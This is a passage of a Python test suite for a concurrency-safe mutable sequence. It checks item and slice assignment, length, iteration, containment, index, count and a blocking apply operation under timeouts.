func_or_obj_func=(csmseq,
setitem_name),
params=((-init_len,
FILL_ELEM), {}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__getitem__.__name__),
'params_1': ((-init_len, ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': FILL_ELEM
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
setitem_name),
'params': ((init_len, "SOMEVAL"), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
setitem_name),
'params': ((-(init_len + 1), "SOMEVAL"), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# setitem slice - unchanged length
for setitem_name in (csmseq.__setitem__.__name__, csmseq.c_set.__name__):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=(csmseq,
setitem_name),
params=((slice(1, 3),
tuple(range(55, 57))), {}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__getitem__.__name__),
'params_1': ((slice(1, 3),), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': tuple(range(55, 57))
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=(csmseq,
setitem_name),
params=((slice(-(init_len + 10000), 1),
(1233123123123123123, )), {}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__getitem__.__name__),
'params_1': ((slice(-(init_len + 10000), 1),), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': (1233123123123123123,)
})
}),
'max_check_count': 1
}),
join=True
),
],
manager=fix_manager)
if not isinstance(csmseq, con.Pr.MutableLengthSequence):
# setitem slice - changed length - expect IndexError
for setitem_name in (csmseq.__setitem__.__name__, csmseq.c_set.__name__):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
setitem_name),
'params': ((slice(1, 3), (33123123,)), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
setitem_name),
'params': ((slice(1, 2), (33123123, "asdfasdf")), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
setitem_name),
'params': ((slice(init_len, init_len + 1), (33123123, )), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
setitem_name),
'params': ((slice(-init_len - 10000, 0), (33123123, 3223123)), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# len
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__len__.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((len(fix_init_csmseqdata),), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_len.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((len(fix_init_csmseqdata),), None)
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# reset
csmseq[0:] = fix_init_csmseqdata
assert (l := len(csmseq)) == len(fix_init_csmseqdata) and all(csmseq[i] == fix_init_csmseqdata[i]
for i in range(l))
# iter and reversed
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__iter__.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__reversed__.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {
'el': reversed(fix_init_csmseqdata)
})
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# contains
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': (csmseq,
csmseq.__contains__.__name__),
'params': ((fix_init_csmseqdata[-1], ), None),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': (csmseq,
csmseq.__contains__.__name__),
'params': ((fix_init_csmseqdata[1], ), None),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_not,
'params': ((), {
'condition_check': (csmseq,
csmseq.__contains__.__name__),
'params': (("I AM CERTAINLY NOT CONTAINED",), None)
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# index
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.index.__name__),
'params_1': ((fix_init_csmseqdata[0], ), None),
'el_2': ft.c_identity,
'params_2': ((0,), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.index.__name__),
'params_1': ((fix_init_csmseqdata[1], 1, 2), None),
'el_2': ft.c_identity,
'params_2': ((1,), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.index.__name__),
'params': (("I AM CERTAINLY NOT CONTAINED", 2, 44), None),
'expected_exception': ValueError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.index.__name__),
'params': ((fix_init_csmseqdata[0], init_len, init_len + 12), None),
'expected_exception': ValueError
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# count
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.count.__name__),
'params_1': ((fix_init_csmseqdata[2], ), None),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata.count(fix_init_csmseqdata[2]),), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.count.__name__),
'params_1': ((fix_init_csmseqdata[0],), None),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata.count(fix_init_csmseqdata[0]),), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.count.__name__),
'params_1': (("I AM CERTAINLY NOT CONTAINED",), None),
'el_2': ft.c_identity,
'params_2': ((0,), None)
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
fix_exec.c_join()
APPLY_RETURN: Final[str] = "APPLY_RETURN"
APPLY_TIMEOUT_SHORT: Final[float] = 5.0
def __apply_to_str(old_val: Any) -> Tuple[Any, str]:
return str(old_val), APPLY_RETURN
def __apply_to_str_seq(old_vals: con.Pr.RandomAccess[Any]) -> Tuple[con.Pr.Iterable[Any], str]:
return tuple(str(elem)
for elem in con.Ca.c_to_itbl(obj=old_vals)), APPLY_RETURN
def __apply_to_str_seq_incr_len(old_vals: con.Pr.RandomAccess[Any]) -> Tuple[con.Pr.Iterable[Any], str]:
return tuple(str(elem)
for elem in con.Ca.c_to_itbl(obj=old_vals)) + ("Nope",), APPLY_RETURN
def __apply_to_str_seq_decr_len(old_vals: con.Pr.RandomAccess[Any]) -> Tuple[con.Pr.Iterable[Any], str]:
assert len(old_vals) > 0
return tuple(str(old_vals[i])
for i in range(len(old_vals) - 1)), APPLY_RETURN
def __apply_delay(old_val: Any) -> Tuple[Any, str]:
time.sleep(APPLY_TIMEOUT_SHORT)
return old_val, APPLY_RETURN
def __apply_no_delay(old_val: Any) -> Tuple[Any, str]:
return old_val, APPLY_RETURN
@overload
def __apply_helper(mseq: con.Pr.MutableSequence[TYPE],
index: int,
func: Callable[[TYPE], Tuple[TYPE, TYPE2]]) -> TYPE2:
...
@overload
def __apply_helper(mseq: con.Pr.MutableSequence[TYPE],
index: slice,
func: Callable[[con.Pr.RandomAccess[TYPE]], Tuple[con.Pr.Iterable[TYPE], TYPE2]]) -> TYPE2:
...
def __apply_helper(mseq: con.Pr.MutableSequence[TYPE],
index: Union[int, slice],
func: Union[Callable[[con.Pr.RandomAccess[TYPE]], Tuple[con.Pr.Iterable[TYPE], TYPE2]],
Callable[[TYPE], Tuple[TYPE, TYPE2]]]) -> TYPE2:
if isinstance(index, int):
func = cast(Callable[[TYPE], Tuple[TYPE, TYPE2]], func)
old_vals = mseq[index]
new_vals = func(old_vals)
mseq[index] = new_vals[0]
return new_vals[1]
else:
assert isinstance(index, slice)
func = cast(Callable[[con.Pr.RandomAccess[TYPE]], Tuple[con.Pr.Iterable[TYPE], TYPE2]], func)
old_vals_ = mseq[index]
new_vals_ = func(old_vals_)
mseq[index] = new_vals_[0]
return new_vals_[1]
# noinspection PyArgumentList
def test_csmseqdata_concurrent_apply(
fix_csl: cs.En.CSL,
fix_init_csmseqdata: con.Pr.Iterable[Any],
fix_manager: Optional[mp_mngr.SyncManager],
fix_csmseq_factory: Callable[[cs.En.CSL,
con.Pr.Iterable[TYPE],
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSMutableSequence[TYPE]],
fix_exec: execs.Im.Exec) -> None:
fix_init_csmseqdata = tuple(fix_init_csmseqdata)
init_len: Final[int] = len(fix_init_csmseqdata)
assert init_len > 2
csmseq: csdata.Pr.CSMutableSequence[Any] = cast(csdata.Pr.CSMutableSequence[Any],
fix_csmseq_factory(fix_csl,
fix_init_csmseqdata,
fix_manager))
# apply
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_to_str
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_get.__name__),
'params_1': ((0,), None),
'el_2': ft.c_identity,
'params_2': ((str(fix_init_csmseqdata[0]),), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': slice(1, 3),
'func': __apply_to_str_seq
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_get.__name__),
'params_1': ((slice(1, 3),), None),
'el_2': ft.c_identity,
'params_2': ((tuple(str(item)
for item in fix_init_csmseqdata[1:3]),), None)
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
if not isinstance(csmseq, con.Pr.MutableLengthSequence):
# apply length change
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': slice(1, 3),
'func': __apply_to_str_seq_incr_len
}),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': slice(1, 3),
'func': __apply_to_str_seq_decr_len
}),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
if fix_csl > cs.En.CSL.SINGLE_THREAD:
csmseq[0:] = fix_init_csmseqdata
# test_blocking - apply
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_no_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - getitem
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__getitem__.__name__),
'params_1': ((0, ), {}),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata[0],), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - c_get
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_get.__name__),
'params_1': ((0, ), {}),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata[0],), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - setitem
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__setitem__.__name__),
'params_1': ((0, "A"), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmseq[0:] = fix_init_csmseqdata
# test_blocking - c_set
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_set.__name__),
'params_1': ((0, "A"), {}),
'el_2': ft.c_identity,
'params_2': ((None,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
csmseq[0:] = fix_init_csmseqdata
# test_blocking - __iter__
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__iter__.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - __reversed__
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__reversed__.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((reversed(fix_init_csmseqdata),), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - contains
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__contains__.__name__),
'params_1': ((fix_init_csmseqdata[0],), {}),
'el_2': ft.c_identity,
'params_2': ((True,), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - len
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__len__.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((len(fix_init_csmseqdata),), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - c_len
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_len.__name__),
'params_1': ((), {}),
'el_2': ft.c_identity,
'params_2': ((len(fix_init_csmseqdata),), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - count
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
'index': 0,
'func': __apply_delay
}),
'el_2': ft.c_identity,
'params_2': ((APPLY_RETURN,), None)
}),
'max_check_count': 1
}),
join=False
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
csmseq.c_apply.__name__),
'params': ((), {
'index': 0,
'func': __apply_no_delay,
'blocking': False
}),
'expected_exception': TimeoutError
})
}),
join=True
),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.count.__name__),
'params_1': ((fix_init_csmseqdata[0],), {}),
'el_2': ft.c_identity,
'params_2': ((fix_init_csmseqdata.count(fix_init_csmseqdata[0]),), None)
}),
'max_check_count': 1
}),
join=True,
min_sec=APPLY_TIMEOUT_SHORT - 2.0,
max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT_SHORT,
_max_sec=APPLY_TIMEOUT_SHORT + 1.0
)
# test_blocking - index
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.c_apply.__name__),
'params_1': ((), {
